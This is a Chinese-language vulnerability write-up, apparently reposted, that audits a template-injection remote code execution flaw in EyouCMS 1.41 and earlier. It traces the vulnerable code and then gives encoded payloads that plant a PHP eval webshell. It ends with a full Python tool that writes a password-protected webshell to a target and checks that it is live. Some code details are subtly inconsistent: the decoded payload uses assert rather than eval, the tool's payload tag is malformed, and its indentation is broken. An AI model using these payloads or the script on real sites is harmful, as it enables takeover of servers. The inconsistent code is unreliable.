Eyoucms前台RCE審計(SSTI)


0x01 審計起因

8xGpDg.png
由於在先知查看文章的時候無意看到了EyouCMS漏洞復現文章,於是產生了審計之心

0x02 EyouCMS簡介

EyouCms是基於TP5.0框架為核心開發的免費+開源的企業內容管理系統,專注企業建站用戶需求。提供海量各行業模板,降低中小企業網站建設、網絡營銷成本,致力於打造用戶舒適的建站體驗。這是一套安全、簡潔、免費的流行CMS,包含完整后台管理、前台展示,直接下載安裝即可使用。 演示網址:http://demo.eyoucms.com 官方網站:http://www.eyoucms.com

0x03 代碼分析

進入/application/api/controller/Ajax.php中的function get_tag_memberlist方法

public function get_tag_memberlist()
{
    if (IS_AJAX_POST) {
        $htmlcode = input('post.htmlcode/s');
        $htmlcode = htmlspecialchars_decode($htmlcode);

        $attarray = input('post.attarray/s');
        $attarray = htmlspecialchars_decode($attarray);
        $attarray = json_decode(base64_decode($attarray));

        /*拼接完整的memberlist標簽語法*/
        $innertext = "{eyou:memberlist";
        foreach ($attarray as $key => $val) {
            if (in_array($key, ['js'])) {
                continue;
            }
            $innertext .= " {$key}='{$val}'";
        }
        $innertext .= " js='on'}";
        $innertext .= $htmlcode;
        $innertext .= "{/eyou:memberlist}";
        /*--end*/
        $msg = $this->display($innertext); // 渲染模板標簽語法
        $data['msg'] = $msg;
        $this->success('讀取成功!', null, $data);
    }
    $this->error('加載失敗!');
}







3 Line: 判斷是否AJAX請求
4 Line: 從post獲取用戶輸入參數htmlcode的值並將結果賦值給$htmlcode
5 Line: 將$htmlcode中的實體字符轉換為正常字符
7 Line: 從post獲取用戶輸入參數attarray的值並將結果賦值給$attarray
8 Line: 將$attarray中的實體字符轉換為正常字符
9 Line: 將$attarray進行base64解碼再json解碼
12 Line: 定義標簽
13~18 Line: 使用foreach將$attay以鍵值對的方式遍歷出來,判斷每一個元素是否為js如果是那么直接進入下一次循環,否則“{$key}=’{$val}’”連接到標簽后面
19 Line: 閉合第一個標簽
20 Line: 將$htmlcode拼接到標簽后,作為內容使用
21 Line: 將閉合標簽拼接到$innertext中
23 Line: 調用基類中的display方法並將$innertext傳入

跟蹤到/core/library/think/Controll.php文件中的display方法

protected function display($content = '', $vars = [], $replace = [], $config = [])
{
    return $this->view->display($content, $vars, $replace, $config);
}

3 Line: 調用視圖類中的display方法,並將$content、$vars、$replace、$config傳入

跟蹤到/core/library/think/View.php文件中的display方法

public function display($content, $vars = [], $replace = [], $config = [])
{
    return $this->fetch($content, $vars, $replace, $config, true);
}

3 Line: 調用當前類中的fetch方法並將並將$content、$vars、$replace、$config傳入

跟蹤到/core/library/think/View.php文件中的fetch方法

public function fetch($template = '', $vars = [], $replace = [], $config = [], $renderContent = false)
{
    // 模板變量
    $vars = array_merge(self::$var, $this->data, $vars);

    // 頁面緩存
    ob_start();
    ob_implicit_flush(0);
    // 渲染輸出
    try {
        $method = $renderContent ? 'display' : 'fetch';
        // 允許用戶自定義模板的字符串替換
        // $replace = array_merge($this->replace, $replace, (array) $this->engine->config('tpl_replace_string'));
        $replace = array_merge($this->replace, (array) $this->engine->config('tpl_replace_string'), $replace); // 解決一個頁面上調用多個鈎子的沖突問題 by 小虎哥
        /*插件模板字符串替換,不能放在構造函數,畢竟構造函數只執行一次 by 小虎哥*/
        // if ($this->__isset('weappInfo')) {
        //     $weappInfo = $this->__get('weappInfo');
        //     if (!empty($weappInfo['code'])) {
        //         $replace['__WEAPP_TEMPLATE__'] = ROOT_DIR.'/'.WEAPP_DIR_NAME.'/'.$weappInfo['code'].'/template';
        //     }
        // }
        /*--end*/
        $this->engine->config('tpl_replace_string', $replace);
        $this->engine->$method($template, $vars, $config);
    } catch (\Exception $e) {
        ob_end_clean();
        throw $e;
    }

    // 獲取並清空緩存
    $content = ob_get_clean();
    // 內容過濾標簽
    Hook::listen('view_filter', $content);

    // $this->checkcopyr($content);

    return $content;
}







4 Line: 將當前類中的成員屬性$var、$data以及傳入的$vars合並為一個數組並賦給$vars
7~8 Line: 開啟頁面緩存
11 Line: 使用三元運算符判斷外部傳入的$renderContent是否為真,若為真那么將display賦值給$method,否則將fetch賦值給$method
24 Line: 調用Think類中的$method方法並將$template、$vars、$config傳入

跟蹤到/core/library/think/view/driver/Think.php中的display方法

public function display($template, $data = [], $config = [])
{
    $this->template->display($template, $data, $config);
}

3 Line: 調用模板類中的display方法並將$template、$data、$config傳入

跟蹤到/core/library/think/Template.php中的display方法

public function display($content, $vars = [], $config = [])
{
    if ($vars) {
        $this->data = $vars;
    }
    if ($config) {
        $this->config($config);
    }
    $cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($content) . '.' . ltrim($this->config['cache_suffix'], '.');
    if (!$this->checkCache($cacheFile)) {
        // 緩存無效 模板編譯
        $this->compiler($content, $cacheFile);
    }
    // 讀取編譯存儲
    $this->storage->read($cacheFile, $this->data);
}

3~5 Line: 判斷外部傳入的$vars是否有值,若有那么則將$vars賦值給當前類中的成員屬性data中
6~8 Line: 判斷$config是否有值,若有那么將$config傳入當前類中的config方法
9 Line: 生成緩存文件名稱賦值給$cacheFile
10~13 Line: 判斷是否沒有$cacheFile這個緩存文件,為真則調用當前類中的compiler方法並且將$content及$cacheFile傳入其中

跟蹤到/core/library/think/Template.php中的compiler方法

private function compiler(&$content, $cacheFile)
{
    // 判斷是否啟用布局
    if ($this->config['layout_on']) {
        if (false !== strpos($content, '{__NOLAYOUT__}')) {
            // 可以單獨定義不使用布局
            $content = str_replace('{__NOLAYOUT__}', '', $content);
        } else {
            // 讀取布局模板
            $layoutFile = $this->parseTemplateFile($this->config['layout_name']);
            if (is_array($layoutFile)) { // 引入模板的錯誤友好提示 by 小虎哥
                $content = !empty($layoutFile['msg']) ? $layoutFile['msg'] : $content;
            } else if ($layoutFile) {
                // 替換布局的主體內容
                $content = str_replace($this->config['layout_item'], $content, file_get_contents($layoutFile));
            }
        }
    } else {
        $content = str_replace('{__NOLAYOUT__}', '', $content);
    }

    // 模板解析
    $this->parse($content);
    if ($this->config['strip_space']) {
        /* 去除html空格與換行 */
        $find    = ['~>\s+<~', '~>(\s+\n|\r)~'];
        $replace = ['><', '>'];
        $content = preg_replace($find, $replace, $content);
    }
    // 優化生成的php代碼
    $content = preg_replace('/\?>\s*<\?php\s(?!echo\b)/s', '', $content);
    // 模板過濾輸出
    $replace = $this->config['tpl_replace_string'];
    $content = str_replace(array_keys($replace), array_values($replace), $content);
    // 添加安全代碼及模板引用記錄
    $content = '<?php if (!defined(\'THINK_PATH\')) exit(); /*' . serialize($this->includeFile) . '*/ ?>' . "\n" . $content;
    // 編譯存儲
    $this->storage->write($cacheFile, $content);
    $this->includeFile = [];
    return;
}







23 Line: 將外部傳入的$content傳到當前類中的parse(解析模板)方法中

跟蹤到/core/library/think/Template.php中的parse方法

public function parse(&$content)
{
    // 內容為空不解析
    if (empty($content)) {
        return;
    }
    // 替換eyou:literal標簽內容
    $this->parseEyouLiteral($content);
    // 替換literal標簽內容
    $this->parseLiteral($content);
    // 解析繼承
    $this->parseExtend($content);
    // 解析布局
    $this->parseLayout($content);
    // 檢查eyou:include語法  by 小虎哥
    $this->parseEyouInclude($content);
    // 檢查include語法
    $this->parseInclude($content);
    // 替換包含文件中literal標簽內容
    $this->parseLiteral($content);
    // 替換包含文件中eyou:literal標簽內容
    $this->parseEyouLiteral($content);
    // 檢查PHP語法
    $this->parsePhp($content);

    // 獲取需要引入的標簽庫列表
    // 標簽庫只需要定義一次,允許引入多個一次
    // 一般放在文件的最前面
    // 格式:<taglib name="html,mytag..." />
    // 當TAGLIB_LOAD配置為true時才會進行檢測
    if ($this->config['taglib_load']) {
        $tagLibs = $this->getIncludeTagLib($content);
        if (!empty($tagLibs)) {
            // 對導入的TagLib進行解析
            foreach ($tagLibs as $tagLibName) {
                $this->parseTagLib($tagLibName, $content);
            }
        }
    }
    // 預先加載的標簽庫 無需在每個模板中使用taglib標簽加載 但必須使用標簽庫XML前綴
    if ($this->config['taglib_pre_load']) {
        $tagLibs = explode(',', $this->config['taglib_pre_load']);
        foreach ($tagLibs as $tag) {
            $this->parseTagLib($tag, $content);
        }
    }
    // 內置標簽庫 無需使用taglib標簽導入就可以使用 並且不需使用標簽庫XML前綴
    $tagLibs = explode(',', $this->config['taglib_build_in']);
    foreach ($tagLibs as $tag) {
        $this->parseTagLib($tag, $content, true);
    }
    // 解析普通模板標簽 {$tagName}
    $this->parseTag($content);

    // 還原被替換的eyou:Literal標簽
    $this->parseEyouLiteral($content, true);

    // 還原被替換的Literal標簽
    $this->parseLiteral($content, true);
    return;
}







24 Line: 調用當前類中的parsePhp(解析php標簽)方法並將$content傳入

跟蹤到/core/library/think/Template.php中的parsePhp方法

private function parsePhp(&$content)
{
    // 短標簽的情況要將<?標簽用echo方式輸出 否則無法正常輸出xml標識
    $content = preg_replace('/(<\?(?!php|=|$))/i', '<?php echo \'\\1\'; ?>' . "\n", $content);

    // 過濾eval函數,防止被注入執行任意代碼 by 小虎哥
    $view_replace_str = config('view_replace_str');
    if (isset($view_replace_str['__EVAL__'])) {
        if (stristr($content, '{eyou:php}')) { // 針對{eyou:php}標簽語法處理
            preg_match_all('/{eyou\:php}.*{\/eyou\:php}/iUs', $content, $matchs);
            $matchs = !empty($matchs[0]) ? $matchs[0] : [];
            if (!empty($matchs)) {
                foreach($matchs as $key => $val){
                    $valNew = preg_replace('/{(\/)?eyou\:php}/i', '', $val);
                    $valNew = preg_replace("/([\W]+)eval(\s*)\(/i", 'intval(', $valNew);
                    $valNew = preg_replace("/^eval(\s*)\(/i", 'intval(', $valNew);
                    $valNew = "{eyou:php}{$valNew}{/eyou:php}";
                    $content = str_ireplace($val, $valNew, $content);
                }
            }
        } else if (stristr($content, '{php}')) { // 針對{php}標簽語法處理
            preg_match_all('/{php}.*{\/php}/iUs', $content, $matchs);
            $matchs = !empty($matchs[0]) ? $matchs[0] : [];
            if (!empty($matchs)) {
                foreach($matchs as $key => $val){
                    $valNew = preg_replace('/{(\/)?php}/i', '', $val);
                    $valNew = preg_replace("/([\W]+)eval(\s*)\(/i", 'intval(', $valNew);
                    $valNew = preg_replace("/^eval(\s*)\(/i", 'intval(', $valNew);
                    $valNew = "{php}{$valNew}{/php}";
                    $content = str_ireplace($val, $valNew, $content);
                }
            }
        } else if (false !== strpos($content, '<?php')) { // 針對原生php語法處理
            $content = preg_replace("/(@)?eval(\s*)\(/i", 'intval(', $content);
            $this->config['tpl_deny_php'] && $content = preg_replace("/\?\bphp\b/i", "?muma", $content);
        }
    }
    // end

    // PHP語法檢查
    if ($this->config['tpl_deny_php'] && false !== strpos($content, '<?php')) {
        if (config('app_debug')) { // 調試模式下中斷模板渲染 by 小虎哥
            throw new Exception('not allow php tag', 11600);
        } else { // 運營模式下繼續模板渲染 by 小虎哥
            echo(lang('not allow php tag'));
        }
    }
    return;
}







4 Line: 將模板中php短標簽轉換為

21 Line: 判斷傳入的$content中是否包含了{php}

22 Line: 使用正則表達式匹配出$content中所有包含了“{php}任意內容{/php}”的標簽

23 Line: 使用三目運算符判斷匹配出來的數組中的第0個元素是否有值,如果有值那么將第0個元素的值賦給$matchs否則將空數組賦給$matchs

24 Line: 判斷$matchs不為空

25 Line: 將$matchs使用foreach循環遍歷

26 Line: 將$val中的“{/任意空白字符php}”替換為空並賦給$valnew

27 Line: 將$valnew中的“多個或零個0-9A-Za-Z_eval(”替換為“intval(”

28 Line: 將$valnew中的“開始為eval任意空白字符(”替換為“intval(”

29 Line: 將字符串“{php}{$valNew}{/php}”賦給$valnew

30 Line: 將$content中的$val替換為$valNew

0x04 漏洞探測

Payload:attarray=eyJ7cGhwfXBocGluZm8oKTt7XC9waHB9Ijoie3BocH1waHBpbmZvKCk7e1wvcGhwfSJ9&html={php}phpinfo();{/php}

8xGqLF.png

0x05 漏洞復現

Payload生成方式:

base64_encode(jsonstring)

eval會被替換成intval,所以我們采用base64加密寫入webshell的方式
php代碼如下:

file_put_contents("./wait.php",base64_decode("PD9waHAgYXNzZXJ0KCRfUkVRVUVTVFsidyJdKTs/Pg=="));

PD9waHAgYXNzZXJ0KCRfUkVRVUVTVFsidyJdKTs/Pg==內容:

<?php eval($_REQUEST[“w”]);?>

將php標簽轉換為json格式並加密:

print base64_encode(json_encode(array("{php}file_put_contents('./wait.php',base64_decode(\"PD9waHAgYXNzZXJ0KCRfUkVRVUVTVFsidyJdKTs/Pg==\"));{/php}"=>"{php}file_put_contents('./wait.php',base64_decode(\"PD9waHAgYXNzZXJ0KCRfUkVRVUVTVFsidyJdKTs/Pg==\"));{/php}")));

eyJ7cGhwfWZpbGVfcHV0X2NvbnRlbnRzKCcuXC93YWl0LnBocCcsYmFzZTY0X2RlY29kZShcIlBEOXdhSEFnWVhOelpYSjBLQ1JmVWtWUlZVVlRWRnNpZHlKZEtUc1wvUGc9PVwiKSk7e1wvcGhwfSI6IntwaHB9ZmlsZV9wdXRfY29udGVudHMoJy5cL3dhaXQucGhwJyxiYXNlNjRfZGVjb2RlKFwiUEQ5d2FIQWdZWE56WlhKMEtDUmZVa1ZSVlVWVFZGc2lkeUpkS1RzXC9QZz09XCIpKTt7XC9waHB9In0=

pyload:

attarray=eyJ7cGhwfWZpbGVfcHV0X2NvbnRlbnRzKCcuXC93YWl0LnBocCcsYmFzZTY0X2RlY29kZShcIlBEOXdhSEFnWVhOelpYSjBLQ1JmVWtWUlZVVlRWRnNpZHlKZEtUc1wvUGc9PVwiKSk7e1wvcGhwfSI6IntwaHB9ZmlsZV9wdXRfY29udGVudHMoJy5cL3dhaXQucGhwJyxiYXNlNjRfZGVjb2RlKFwiUEQ5d2FIQWdZWE56WlhKMEtDUmZVa1ZSVlVWVFZGc2lkeUpkS1RzXC9QZz09XCIpKTt7XC9waHB9In0=&htmlcode=bb

8xJJFs.png

htmlcode參數作為隨機方式傳遞

0x06 漏洞修復

可以使用assign方法來將標簽直接替換成我們需要的值,而不是將標簽傳入display方法中將標簽直接編譯,危險性大大提升

0x07 自動化測試腳本

silly@PenetrationOs:~#: python eyoucms-ssti.py -u http://192.168.1.106:8085/ -o abc

[+] 正在請求目標地址:http://192.168.1.106:8085/?m=api&c=ajax&a=get_tag_memberlist 目標地址http://192.168.1.106:8085/?m=api&c=ajax&a=get_tag_memberlist存活
[+] 正在向目標地址http://192.168.1.106:8085/?m=api&c=ajax&a=get_tag_memberlist寫入abc.php 疑似成功寫入Webshell
[+] 正在探測Webshell(http://192.168.1.106:8085/abc.php)是否存活 Webshell(http://192.168.1.106:8085/abc.php)已存活 密碼:ceshi
#!/usr/bin/python
 -*- coding: UTF-8 -*-
import requests
import sys,getopt
import json,base64
import time

class Eyoucms:
    session = None
    headers = None
    password = "ceshi"
    output = "ceshi"
    requesturi = "/?m=api&c=ajax&a=get_tag_memberlist"

    def __init__(self,headers):
        self.headers = headers
        self.getparam(sys.argv[1:])
        self.requestsdata = {
            "attarray":self.createpyload(),
            "htmlcode":time.time()
        }
        self.run()

    def getparam(self,argv):
        try:
            options, args = getopt.getopt(argv, "h:u:p:o:", ["help", "url=","password=","output="])
        except getopt.GetoptError:
            print 'eyoucms-ssti.py -u url -p password -o outputfile'
            return
        for option, value in options:
            if option in ("-h", "--help"):
                print 'eyoucms-ssti.py -u url'
            if option in ("-u", "--url"):
                if(self.request(value).status_code != 404):
                    self.url = value
            if option in ("-p", "--password"):
                    if(value != None):
                        self.password = value
                    else:
                        self.password = "ceshi"
            if option in ("-o", "--output"):
                    if(value != None):
                        self.output = value.replace(".php","")
                    else:
                        self.output = "ceshi"

    def run(self):
        url = self.url.rstrip('/')+self.requesturi
        print "[+] 正在請求目標地址:%s"%(url)
        if(self.request(url).status_code == 200):
            print " 目標地址%s存活"%url
        else:
            print "[-] 目標地址%s探測失敗"%url
            return
        print "[+] 正在向目標地址%s寫入%s.php"%(url,self.output)
        if(self.request(url,"post").status_code == 200):
            print " 疑似成功寫入Webshell"
        shell = self.url.rstrip('/')+"/%s.php"%self.output
        print "[+] 正在探測Webshell(%s)是否存活"%(shell)
        if(self.request(shell).status_code == 200):
            print " Webshell(%s)已存活\n 密碼:%s"%(shell,self.password)


    def createpyload(self):
        short = base64.b64encode("<php eval($_REQUEST[%s]);?>"%self.password)
        file = self.output
        payload = {
            "{php}1{/php}":"{php}file_put_contents('./%s.php',base64_decode('%s'));{/php}"%(file,short)
        }
        return base64.b64encode(json.dumps(payload))

    def request(self,url,method="get"):
        respone = None
        if(not self.session):
            self.session = requests.Session()
        if(method == "get"):
            try:
                respone = self.session.get(url=url,headers=self.headers)
            except requests.exceptions.ConnectTimeout:
                print "[-] 請求%s超時"%url
                return
            except requests.exceptions.ConnectionError:
                print "[-] 請求%s無效"%url
                return
            return respone
        elif(method == "post"):
            try:
                respone = self.session.post(url=url,data=self.requestsdata,headers=self.headers)
            except requests.exceptions.ConnectTimeout:
                print "[-] 請求%s超時"%url
                return
            except requests.exceptions.ConnectionError:
                print "[-] 請求%s無效"%url
                return
        return respone

   if __name__ == "__main__":

    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0",
        "X-Requested-With":"XMLHttpRequest"
    }
    Eyoucms(headers)

漏洞修復時間線

漏洞影響范圍

EyouCMS<=1.41


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM